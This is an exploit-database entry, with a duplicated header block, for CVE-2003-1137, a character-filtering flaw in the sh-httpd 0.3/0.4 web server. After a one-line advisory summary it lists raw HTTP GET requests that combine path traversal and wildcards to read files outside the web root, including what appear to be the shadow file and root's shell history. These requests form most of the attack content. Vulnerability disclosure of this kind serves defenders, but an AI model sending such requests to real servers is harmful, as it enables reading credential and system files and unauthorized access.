SH-HTTPD 0.3/0.4 - Character Filtering Remote Information Disclosure
| EKU-ID: 28746 | CVE: CVE-2003-1137;OSVDB-2721 | OSVDB-ID: |
| Author: dong-h0un U | Published: 2003-10-27 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 28746 | CVE: CVE-2003-1137;OSVDB-2721 | OSVDB-ID: |
| Author: dong-h0un U | Published: 2003-10-27 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
source: https://www.securityfocus.com/bid/8897/info A problem has been identified in the handling of some characters by sh-httpd. Because of this, an attacker may be able to gain unauthorized access to information. GET * GET ../../../sh-httpd/p* GET /../../etc/s* GET ../../root/.b*